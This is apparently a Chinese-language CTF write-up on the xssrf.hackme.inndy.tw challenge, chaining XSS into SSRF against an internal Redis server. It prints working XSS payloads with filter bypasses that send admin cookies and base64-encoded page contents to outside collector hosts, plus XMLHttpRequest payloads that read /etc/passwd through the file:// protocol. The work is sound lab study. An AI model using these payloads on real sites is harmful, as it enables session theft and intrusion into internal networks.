0X00 前言
由于本菜鸡对xss的认识还停留在弹个框框的层面上,写此文章以求进步。
在实际过程中经常会出现拿到了cookie,却发现后台登陆在内网的情况,本文刚好发现了这样一个xss测试环境,并且在该环境中进一步利用xss结合ssrf攻击了内网的redis服务器,特此记录。
0x01 XSS获取管理员cooklie
环境地址:https://xssrf.hackme.inndy.tw
在该环境中有一个send email的功能,可以给管理员发送含有xss的payload以获取其cookie。
这里简单测试。发现过滤了<script
(
)
onerror
等关键词。
这里可以看到onerror
前面是加了空格的,那么可以用下面的payload染过
payload1
<img src="x"onerror="document.location='http://ay82rc.ceye.io/'+document.cookie">
发送后管理员查看即可成功返回cookie。
0x02 xss登陆内网后台
拿到cookie后这里直接以cookie登陆,发现限制了管理员需要从内网登陆。这里也符合很多实际场景。
那么这里可以直接使用xss然后通过document.body.innerHTML
打印出其后台页面。
修改上面的payload,但是上面已经过滤()
,这里可以使用编码绕过。推荐余弦大大的xss在线编码平台xss’or1
<img src="x"onerror="document.location='http://ay82rc.ceye.io/'+btoa(document.body.innerHTML)">
16进制编码后1
<img src="x"onerror="document.location='http://ay82rc.ceye.io/'+btoa(document.body.innerHTML)">
成功获取到内容
将内容base64解码
保存为html即可看到后台内容,并且登陆账号为admin。
这里可以看到两个管理员所特有的功能点set admin
send request
继续获取一下request.php
的内容1
2
3
4
5
6
7
8
9
10<img src="x"onerror="
xmlhttp = new XMLHttpRequest();
xmlhttp.onreadystatechange=function(){
if (xmlhttp.readyState == 4 && xmlhttp.status == 200){
document.location = 'http://zhengbao.wang?'+btoa(xmlhttp.responseText);
}
}
xmlhttp.open("GET","request.php",true);
xmlhttp.send();
">
将payload编码发送,注意这里ceye服务器收不到回显,不知为何,改用自己的vps
成功读取到request.php
页面内容。
base64解码后看到有发送url的操作,这里猜测具有ssrf
0x02 xssrf file协议任意文件读取
继续构造payload,利用ssrf通过file
协议读取/etc/passwd
1
2
3
4
5
6
7
8
9
10
11<img src="x"onerror="
xmlhttp = new XMLHttpRequest();
xmlhttp.onreadystatechange=function(){
if (xmlhttp.readyState == 4 && xmlhttp.status == 200){
document.location = 'http://zhengbao.wang?'+btoa(xmlhttp.responseText);
}
}
xmlhttp.open("POST","request.php",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("url=file:///etc/passwd");
">
发现可以获取到/etc/passwd
至此已经可以任意文件读取了,这是一道ctf题目,在robots.txt中提示让读取config.php
那么我们便可以继续修改上面的payload读取config.php。
进一步获取到在内网25566
端口运行着redis
那么便可以通过gopher
协议去攻击内网redis了。
0X04 xssrf gopher协议攻击内网redis
1 | <img src="x"onerror=" |
成功获得redis info信息。
0x05 参考链接
https://skysec.top/2018/08/17/xss-ssrf-redis/
https://www.kingkk.com/2018/08/redis未授权访问与ssrf利用
https://www.cnblogs.com/go2bed/p/4136358.html